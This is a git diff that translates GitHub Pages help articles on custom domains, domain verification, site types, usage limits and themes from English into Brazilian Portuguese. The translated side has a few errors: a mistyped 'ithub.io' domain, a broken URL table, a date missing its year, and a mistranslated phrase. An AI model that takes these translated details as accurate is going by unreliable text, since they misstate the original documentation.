+Se você estiver usando registros CAA (Certification Authority Authorization, Autorização da autoridade de certificação), pelo menos um deles deverá ter o valor `letsencrypt.org` para que o seu site possa ser acessado por HTTPS. Para obter mais informações, consulte "[Autorização da autoridade de certificação (CAA)](https://letsencrypt.org/docs/caa/)" na documentação de Let's Encrypt.
 
-## URL formatting on Linux
+## Formatação de URL no Linux
 
-If the URL for your site contains a username or organization name that begins or ends with a dash, or contains consecutive dashes, people browsing with Linux will receive a server error when they attempt to visit your site. To fix this, change your {% data variables.product.product_name %} username to remove non-alphanumeric characters. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username/)."
+Se a URL para o seu site incluir um nome de usuário ou de organização que começa ou termina com um traço ou contiver traços consecutivos, as pessoas que navegam com Linux receberão um erro de servidor quando tentarem visitar o site. Para corrigir isso, remova caracteres não alfanuméricos do seu nome de usuário do {% data variables.product.product_name %}. Para obter mais informações, consulte "[Alterar seu nome de usuário do {% data variables.product.prodname_dotcom %}](/articles/changing-your-github-username/)".
 
-## Browser cache
+## Cache do navegador
 
-If you've recently changed or removed your custom domain and can't access the new URL in your browser, you may need to clear your browser's cache to reach the new URL. For more information on clearing your cache, see your browser's documentation.
+Se você tiver alterado ou removido recentemente seu domínio personalizado e não conseguir acessar a nova URL no navegador, talvez precise limpar o cache do navegador para alcançar a nova URL. Para obter mais informações sobre limpeza do cache, consulte a documentação do navegador.
diff --git a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
index df0ef33659..daaf4cc5c2 100644
--- a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
+++ b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
@@ -1,48 +1,46 @@
 ---
-title: Verifying your custom domain for GitHub Pages
-intro: 'You can increase the security of your custom domain and avoid takeover attacks by verifying your domain.'
+title: Verificando seu domínio personalizado para o GitHub Pages
+intro: Você pode aumentar a segurança de seu domínio personalizado e evitar ataques verificando seu domínio.
 product: '{% data reusables.gated-features.pages %}'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Pages
-shortTitle: Verify a custom domain
+shortTitle: Verificar um domínio personalizado
 ---
 
-## About domain verification for GitHub Pages
+## Sobre a verificação de domínio para o GitHub Pages
 
-When you verify your custom domain for your user account or organization, only repositories owned by your user account or organization may be used to publish a {% data variables.product.prodname_pages %} site to the verified custom domain or the domain's immediate subdomains.
+Ao verificar seu domínio personalizado para sua conta de usuário ou organização, somente os repositórios pertencentes à sua conta de usuário ou organização podem ser usados para publicar um site de {% data variables.product.prodname_pages %} para o domínio personalizado verificado ou os subdomínios imediatos do domínio.
 
-Verifying your domain stops other GitHub users from taking over your custom domain and using it to publish their own {% data variables.product.prodname_pages %} site. Domain takeovers can happen when you delete your repository, when your billing plan is downgraded, or after any other change which unlinks the custom domain or disables {% data variables.product.prodname_pages %} while the domain remains configured for {% data variables.product.prodname_pages %} and is not verified.
+Verificar seu domínio impede que outros usuários do GitHub de assumir seu domínio personalizado e usá-lo para publicar seu próprio site de {% data variables.product.prodname_pages %}. As tomadas de domínio podem acontecer quando você excluir seu repositório, quando seu plano de cobrança é rebaixado, ou após qualquer outra alteração que desvincula o domínio personalizado ou quando você desabilita {% data variables.product.prodname_pages %} enquanto o domínio permanece configurado para {% data variables.product.prodname_pages %} e não é verificado.
 
-When you verify a domain, any immediate subdomains are also included in the verification. For example, if the `github.com` custom domain is verified, `docs.github.com`, `support.github.com`, and any other immediate subdomains will also be protected from takeovers.
+Ao verificar um domínio, todos os subdomínios imediatos também são incluídos na verificação. Por exemplo, se o domínio personalizado `github.com` for verificado, `docs.github.com`, `support.github.com` e todos os outros subdomínios imediatos também estarão protegidos contra a tomada de controle.
 
-It's also possible to verify a domain for your organization{% ifversion ghec %} or enterprise{% endif %}, which displays a "Verified" badge on the organization {% ifversion ghec %}or enterprise{% endif %} profile{% ifversion ghec %} and, on {% data variables.product.prodname_ghe_cloud %},  allows you to restrict notifications to email addresses using the verified domain{% endif %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization){% ifversion ghec %}" and "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise){% endif %}."
+Também é possível verificar um domínio para sua organização{% ifversion ghec %} ou empresa{% endif %}, que exibe um selo "Verificado" na organização {% ifversion ghec %}ou no perfil da empresa{% endif %}{% ifversion ghec %} e, em {% data variables.product.prodname_ghe_cloud %}, permite que você restrinja notificações para endereços de e-mail usando o domínio verificado{% endif %}. Para obter mais informações, consulte "[Verificando ou aprovando um domínio para a sua organização](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization){% ifversion ghec %}" e "[Verificando ou aprovando um domínio para a sua empresa](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise){% endif %}".
 
-## Verifying a domain for your user site
+## Verificando um domínio para o seu site de usuário
 
 {% data reusables.user_settings.access_settings %}
-1. In the left sidebar, click **Pages**.
-![Pages option in the settings menu](/assets/images/help/settings/user-settings-pages.png)
+1. Na barra lateral esquerda, clique em **Pages** (Páginas). ![Opção Páginas no menu de configurações](/assets/images/help/settings/user-settings-pages.png)
 {% data reusables.pages.settings-verify-domain-setup %}
-1. Wait for your DNS configuration to change, this may be immediate or take up to 24 hours. You can confirm the change to your DNS configuration by running the `dig` command on the command line. In the command below, replace `USERNAME` with your username and `example.com` with the domain you're verifying. If your DNS configuration has updated, you should see your new TXT record in the output.
+1. Aguarde que a configuração de DNS seja alterada. Isto pode ser imediato ou demorar até 24 horas. Você pode confirmar a alteração na configuração do seu DNS executando o comando `dig` na linha de comando. No comando abaixo, substitua `USUÁRIO` pelo seu nome de usuário e `example.com` pelo domínio que você está verificando. Se a sua configuração de DNS foi atualizada, você deverá ver o seu novo registro TXT na saída.
   ```
   dig _github-pages-challenge-USERNAME.example.com +nostats +nocomments +nocmd TXT
-  ``` 
+  ```
 {% data reusables.pages.settings-verify-domain-confirm %}
 
-## Verifying a domain for your organization site
+## Verificando um domínio para o site da organização
 
-Organization owners can verify custom domains for their organization.
+Os proprietários da organização podem verificar domínios personalizados para a sua organização.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-1. In the left sidebar, click **Pages**.
-![Pages option in the settings menu](/assets/images/help/settings/org-settings-pages.png)
+1. Na barra lateral esquerda, clique em **Pages** (Páginas). ![Opção Páginas no menu de configurações](/assets/images/help/settings/org-settings-pages.png)
 {% data reusables.pages.settings-verify-domain-setup %}
-1. Wait for your DNS configuration to change, this may be immediate or take up to 24 hours. You can confirm the change to your DNS configuration by running the `dig` command on the command line. In the command below, replace `ORGANIZATION` with the name of your organization and `example.com` with the domain you're verifying. If your DNS configuration has updated, you should see your new TXT record in the output.
+1. Aguarde que a configuração de DNS seja alterada. Isto pode ser imediato ou demorar até 24 horas. Você pode confirmar a alteração na configuração do seu DNS executando o comando `dig` na linha de comando. No comando abaixo, substitua `ORGANIZAÇÃO` pelo nome da sua organização e `example.com` pelo domínio que você está verificando. Se a sua configuração de DNS foi atualizada, você deverá ver o seu novo registro TXT na saída.
   ```
   dig _github-pages-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT
-  ``` 
-{% data reusables.pages.settings-verify-domain-confirm %}
\ No newline at end of file
+  ```
+{% data reusables.pages.settings-verify-domain-confirm %}
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md
index 80fb7f8cb7..78935dde4d 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Pages
-intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
+title: Sobre o GitHub Pages
+intro: 'Você pode usar {% data variables.product.prodname_pages %} para hospedar um site sobre você, sua organização, ou seu projeto diretamente a partir de um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
   - /articles/what-are-github-pages
   - /articles/what-is-github-pages
@@ -20,113 +20,113 @@ topics:
   - Pages
 ---
 
-## About {% data variables.product.prodname_pages %}
+## Sobre o {% data variables.product.prodname_pages %}
 
-{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples).
+O {% data variables.product.prodname_pages %} é um serviço de hospedagem de site estático que usa arquivos HTML, CSS e JavaScript diretamente de um repositório no {% data variables.product.product_name %} e, como opção, executa os arquivos por meio de um processo e publica um site. Você pode ver exemplos de sites do {% data variables.product.prodname_pages %} na [coleção de exemplos do {% data variables.product.prodname_pages %}](https://github.com/collections/github-pages-examples).
 
 {% ifversion fpt or ghec %}
-You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)."
+É possível hospedar seu site no domínio `github.io` do {% data variables.product.prodname_dotcom %} ou no seu próprio domínio personalizado. Para obter mais informações, consulte "[Usar um domínio personalizado com o {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)".
 {% endif %}
 
 {% ifversion fpt or ghec %}
-{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
+{% data reusables.pages.about-private-publishing %} Para obter mais informações, consulte "[Alterar a visibilidade do seu site de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
 {% endif %}
 
-To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)."
+Para começar, consulte "[Criar um site do {% data variables.product.prodname_pages %}](/articles/creating-a-github-pages-site)".
 
 {% ifversion fpt or ghes > 3.0 or ghec %}
-Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+Os proprietários da organização podem desabilitar a publicação de sites do {% data variables.product.prodname_pages %} nos repositórios da organização. Para obter mais informações, consulte "[Gerenciar a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)".
 {% endif %}
 
-## Types of {% data variables.product.prodname_pages %} sites
+## Tipos de site do {% data variables.product.prodname_pages %}
 
-There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+Há três tipos de site do {% data variables.product.prodname_pages %}: projeto, usuário e organização. Os sites de projeto são conectados a um projeto específico hospedado no {% data variables.product.product_name %}, como uma biblioteca do JavaScript ou um conjunto de receitas. Os sites de usuário e organização estão conectados a uma conta específica em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-To publish a user site, you must create a repository owned by your user account that's named {% ifversion fpt or ghec %}`<username>.github.io`{% else %}`<username>.<hostname>`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`<organization>.github.io`{% else %}`<organization>.<hostname>`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://<username>.github.io` or `http(s)://<organization>.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages.<hostname>/<username>` or `http(s)://pages.<hostname>/<organization>`.{% endif %}
+Para publicar um site de usuário, você deve criar um repositório pertencente à sua conta de usuário denominada {% ifversion fpt or ghec %}`<username>. ithub.io`{% else %}`<username>.<hostname>`{% endif %}. Para publicar um site de organização, você deve criar um repositório pertencente a uma organização que se chama {% ifversion fpt or ghec %}`<organization>.github.io`{% else %}`<organization>.<hostname>`{% endif %}. {% ifversion fpt or ghec %}A menos que você esteja usando um domínio personalizado, os sites de usuário e organização estarão disponíveis em `http(s)://<username>.github.io` ou `http(s)://<organization>.github.io`.{% elsif ghae %}Sites de usuário e organização estão disponíveis em `http(s)://pages.<hostname>/<username>` ou `http(s)://pages.<hostname>/<organization>`.{% endif %}
 
-The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://<username>.github.io/<repository>` or `http(s)://<organization>.github.io/<repository>`.{% elsif ghae %}Project sites are available at `http(s)://pages.<hostname>/<username>/<repository>/` or `http(s)://pages.<hostname>/<organization>/<repository>/`.{% endif %}
+Os arquivos de origem de um site de projeto são armazenados no mesmo repositório que o respectivo projeto. {% ifversion fpt or ghec %}A menos que você esteja usando um domínio personalizado, os sites de projeto estão disponíveis em `http(s)://<username>.github.io/<repository>` ou `http(s)://<organization>.github.io/<repository>`.{% elsif ghae %}Os sites de projeto estão disponíveis em `http(s)://pages.<hostname>/<username>/<repository>/` ou `http(s)://pages.<hostname>/<organization>/<repository>/`.{% endif %}
 
 {% ifversion fpt or ghec %}
-If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
+Se você publicar seu site em particularmente, a URL do seu site será diferente. Para obter mais informações, consulte "[Alterar a visibilidade do seu site de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
 {% endif %}
 
 {% ifversion fpt or ghec %}
-For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)."
+Para obter mais informações sobre como os domínios personalizados afetam o URL do seu site, consulte "[Sobre domínios personalizados e {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)".
 {% endif %}
 
-You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a user account, are unlimited.
+Você só pode criar um site de usuário ou organização para cada conta em {% data variables.product.product_name %}. Os sites de projeto, sejam eles de uma conta de organização ou de usuário, são ilimitados.
 
 {% ifversion ghes %}
-The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.product.product_location %}.
+O URL onde o site estará disponível depende da habilitação do isolamento do subdomínio para o {% data variables.product.product_location %}.
 
-| Type of site | Subdomain isolation enabled | Subdomain isolation disabled |
-| ------------ | --------------------------- | ---------------------------- |
-User | `http(s)://pages.<hostname>/<username>` | `http(s)://<hostname>/pages/<username>` |
-Organization | `http(s)://pages.<hostname>/<organization>` | `http(s)://<hostname>/pages/<organization>` |
-Project site owned by user account | `http(s)://pages.<hostname>/<username>/<repository>/` | `http(s)://<hostname>/pages/<username>/<repository>/`
-Project site owned by organization account | `http(s)://pages.<hostname>/<orgname>/<repository>/` | `http(s)://<hostname>/pages/<orgname>/<repository>/`
+| Tipo de site | Isolamento de subdomínio habilitado | Isolamento de subdomínio desabilitado |
+| ------------ | ----------------------------------- | ------------------------------------- |
+|              |                                     |                                       |
+ Usuário | 
 
-For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)" or contact your site administrator.
+`http(s)://pages.<hostname>/<username>` | `http(s)://<hostname>/pages/<username>` | Organization | `http(s)://pages.<hostname>/<organization>` | `http(s)://<hostname>/pages/<organization>` | Site do projeto pertencente a uma conta do usuário | `http(s)://pages.<hostname>/<username>/<repository>/` | `http(s)://<hostname>/pages/<username>/<repository>/` Site do projeto pertencente a uma conta da organização | `http(s)://pages.<hostname>/<orgname>/<repository>/` | `http(s)://<hostname>/pages/<orgname>/<repository>/`
+
+Para obter mais informações, consulte "[Habilitar isolamento de subdomínio](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)" ou entre em contato com o administrador do site.
 {% endif %}
 
-## Publishing sources for {% data variables.product.prodname_pages %} sites
+## Publicar fontes para sites do {% data variables.product.prodname_pages %}
 
-The publishing source for your {% data variables.product.prodname_pages %} site is the branch and folder where the source files for your site are stored.
+A fonte de publicação do seu site de {% data variables.product.prodname_pages %} é o branch e a pasta onde os arquivos de origem do seu site são armazenados.
 
 {% data reusables.pages.private_pages_are_public_warning %}
 
-If the default publishing source exists in your repository, {% data variables.product.prodname_pages %} will automatically publish a site from that source. The default publishing source for user and organization sites is the root of the default branch for the repository. The default publishing source for project sites is the root of the `gh-pages` branch.
+Se existir uma fonte de publicação padrão no repositório, o {% data variables.product.prodname_pages %} publicará automaticamente um site a partir dessa fonte. A fonte de publicação padrão para sites de usuário e organização é a raiz do branch-padrão do repositório. A fonte de publicação padrão para sites de projeto é a raiz do branch `gh-pages`.
 
-If you want to keep the source files for your site in a different location, you can change the publishing source for your site. You can publish your site from any branch in the repository, either from the root of the repository on that branch, `/`, or from the `/docs` folder on that branch. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)."
+Se você desejar manter os arquivos de origem do seu site em outro local, você poderá alterar a fonte de publicação do seu site. É possível publicar o site a partir de qualquer branch no repositório, a partir da raiz do repositório nesse branch, `/` ou a partir da pasta `/docs` nesse branch. Para obter mais informações, consulte "[Configurar uma fonte de publicação para seu site do {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)".
 
-If you choose the `/docs` folder of any branch as your publishing source, {% data variables.product.prodname_pages %} will read everything to publish your site{% ifversion fpt or ghec %}, including the _CNAME_ file,{% endif %} from the `/docs` folder.{% ifversion fpt or ghec %} For example, when you edit your custom domain through the {% data variables.product.prodname_pages %} settings, the custom domain will write to `/docs/CNAME`. For more information about _CNAME_ files, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+Se você escolher a pasta `/docs` de qualquer branch como a fonte de publicação, o {% data variables.product.prodname_pages %} lerá tudo a ser publicado no seu site{% ifversion fpt or ghec %}, inclusive o arquivo _CNAME_,{% endif %} na pasta `/docs`.{% ifversion fpt or ghec %} Por exemplo, quando você edita o domínio personalizado usando as configurações do {% data variables.product.prodname_pages %}, o domínio personalizado grava em `/docs/CNAME`. Para obter mais informações sobre arquivos _CNAME_, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".{% endif %}
 
 
-## Static site generators
+## Geradores de site estáticos
 
-{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+O {% data variables.product.prodname_pages %} publica qualquer arquivo estático do qual você faz push no repositório. É possível criar seus próprios arquivos estáticos ou usar um gerador de site estático para que ele crie o site para você. Também pode personalizar seu próprio processo de criação localmente ou em outro servidor. É recomendável usar o Jekyll, um gerador de site estático com suporte integrado para {% data variables.product.prodname_pages %} e um processo de compilação simplificado. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_pages %} e o JJekyll](/articles/about-github-pages-and-jekyll)".
 
-{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally.
+O {% data variables.product.prodname_pages %} usará o Jekyll para criar seu site por padrão. Se quiser usar um gerador de site estático diferente do Jekyll, desabilite o processo de compilação do Jekyll criando um arquivo vazio chamado `.nojekyll` na raiz da fonte de publicação e siga as instruções do gerador de site estático para criar seu site localmente.
 
-{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python.
+O {% data variables.product.prodname_pages %} não aceita linguagens de servidor como PHP, Ruby ou Python.
 
-## Limits on use of {% data variables.product.prodname_pages %}
+## Limites para o uso de {% data variables.product.prodname_pages %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.prodname_pages %} sites created after June 15, 2016 and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)."
+Os sites do {% data variables.product.prodname_pages %} criados após 15 de junho e que usam domínios do `github.io` são disponibilizados por HTTPS. Se você criou seu site ante de 15 de junho de 2016, é possível habilitar o suporte ao HTTPS para tráfego no seu site. Para obter mais informações, consulte "[Proteger seu {% data variables.product.prodname_pages %} com HTTPS](/articles/securing-your-github-pages-site-with-https)".
 
-### Prohibited uses
+### Usos proibidos
 {% endif %}
-{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %}
+O {% data variables.product.prodname_pages %} não foi projetado e nem tem permissão para ser usado como um serviço de hospedagem gratuita na web, capaz de administrar sua empresa online, seu site de comércio eletrônico ou qualquer outro site desenvolvido principalmente para facilitar transações comerciais ou fornecer software comercial como um serviço (SaaS). {% data reusables.pages.no_sensitive_data_pages %}
 
-In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get rich quick schemes, sexually obscene content, and violent or threatening content or activity.
+Além disso, seu uso de {% data variables.product.prodname_pages %} está sujeito aos [Termos de Serviço](/free-pro-team@latest/github/site-policy/github-terms-of-service/) do GitHub, incluindo as restrições relativas a ricos esquemas rápidos, conteúdo sexualmente obsceno e conteúdo ou atividade violento ou ameaçador.
 
-### Usage limits
-{% data variables.product.prodname_pages %} sites are subject to the following usage limits:
+### Limites de uso
+Os sites do {% data variables.product.prodname_pages %} estão sujeitos ao seguintes limites de uso:
 
-  - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?"](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations){% endif %}
-  - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB.
+  - Os repositórios de origem do {% data variables.product.prodname_pages %} têm um limite recomendado de 1 GB.{% ifversion fpt or ghec %} Para obter mais informações, consulte "[Qual é a minha cota de disco?"](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations){% endif %}
+  - Os sites do {% data variables.product.prodname_pages %} publicados não podem ter mais de 1 GB.
 {% ifversion fpt or ghec %}
-  - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100GB per month.
-  - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour.
+  - Sites de {% data variables.product.prodname_pages %} têm um limite de banda larga *flexível* de 100 GB por mês.
+  - Os sites do {% data variables.product.prodname_pages %} têm um limite *flexível* de 10 compilações por hora.
 
-If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs.
+Se o seu site exceder essas cotas de uso, talvez não possamos atender a ele ou você receba um e-mail formal do {% data variables.contact.contact_support %} sugerindo estratégias para reduzir o impacto do site em nossos servidores, como colocar uma rede de distribuição de conteúdo (CDN, Content Distribution Network) de terceiros na frente do site, usar outros recursos do {% data variables.product.prodname_dotcom %}, como versões, ou migrar para outro serviço de hospedagem que possa atender melhor às suas necessidades.
 
 {% endif %}
 
-## MIME types on {% data variables.product.prodname_pages %}
+## Tipos de MIME no {% data variables.product.prodname_pages %}
 
-A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db).
+Um tipo de MIME é um header que um servidor envia a um navegador, fornecendo informações sobre a natureza e o formato dos arquivos que o navegador solicitou. O {% data variables.product.prodname_pages %} aceita mais de 750 tipos de MIME entre milhares de extensões de arquivo. A lista de tipos de MIME compatíveis é gerada do [projeto mime-db](https://github.com/jshttp/mime-db).
 
-While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types).
+Embora não seja possível especificar tipos de MIME personalizados por arquivo ou repositório, você pode adicionar ou modificar tipos de MIME para uso no {% data variables.product.prodname_pages %}. Para obter mais informações, consulte [as diretrizes de contribuição do mime-db](https://github.com/jshttp/mime-db#adding-custom-media-types).
 
 {% ifversion fpt %}
-## Data collection
+## Coleta de dados
 
-When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Privacy Statement</a>.
+Quando um site de {% data variables.product.prodname_pages %} é acessado, o endereço IP do visitante é registrado e armazenado para fins de segurança, independentemente se o visitante efetuou o login em {% data variables.product.prodname_dotcom %} ou não. Para obter mais informações sobre as práticas de segurança de {% data variables.product.prodname_dotcom %}, consulte <a href="/articles/github-privacy-statement/" class="dotcom-only">a declaração de privacidade de {% data variables.product.prodname_dotcom %}</a>.
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) on {% data variables.product.prodname_learning %}
+- [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) em {% data variables.product.prodname_learning %}
 - "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)"
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
index 6f568026a7..00b07011f9 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site with the theme chooser
-intro: 'You can add a theme to your {% data variables.product.prodname_pages %} site to customize your site’s look and feel.'
+title: Adicionar um tema ao site do GitHub Pages com o seletor de temas
+intro: 'É possível adicionar um tema ao site do {% data variables.product.prodname_pages %} para personalizar a aparência dele.'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser
@@ -12,40 +12,37 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to a Pages site
+shortTitle: Adicionar tema a um site de Páginas
 ---
 
-People with admin permissions for a repository can use the theme chooser to add a theme to a {% data variables.product.prodname_pages %} site.
+Pessoas com permissões de administrador para um repositório podem usar o seletor de temas para adicionar um tema a um site do {% data variables.product.prodname_pages %}.
 
-## About the theme chooser
+## Sobre o seletor de temas
 
-The theme chooser adds a Jekyll theme to your repository. For more information about Jekyll, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+O seletor de temas adiciona um tema do Jekyll ao repositório. Para obter mais informações sobre o Jekyll, consulte "[Sobre o {% data variables.product.prodname_pages %} e o Jekyll](/articles/about-github-pages-and-jekyll)".
 
-How the theme chooser works depends on whether your repository is public or private.
-  - If {% data variables.product.prodname_pages %} is already enabled for your repository, the theme chooser will add your theme to the current publishing source.
-  - If your repository is public and {% data variables.product.prodname_pages %} is disabled for your repository, using the theme chooser will enable {% data variables.product.prodname_pages %} and configure the default branch as your publishing source.
-  - If your repository is private and {% data variables.product.prodname_pages %} is disabled for your repository, you must enable {% data variables.product.prodname_pages %} by configuring a publishing source before you can use the theme chooser.
+O funcionamento do seletor de temas depende de o repositório ser público ou privado.
+  - Se o {% data variables.product.prodname_pages %} já estiver habilitado para o repositório, o seletor de temas adicionará o tema à fonte de publicação atual.
+  - Se o repositório for público e o {% data variables.product.prodname_pages %} estiver desabilitado para ele, o uso do seletor de temas habilitará o {% data variables.product.prodname_pages %} e definirá o branch-padrão como fonte de publicação.
+  - Se o repositório for privado e o {% data variables.product.prodname_pages %} estiver desabilitado para ele, será preciso habilitar o {% data variables.product.prodname_pages %} definindo uma fonte de publicação para poder usar o seletor de temas.
 
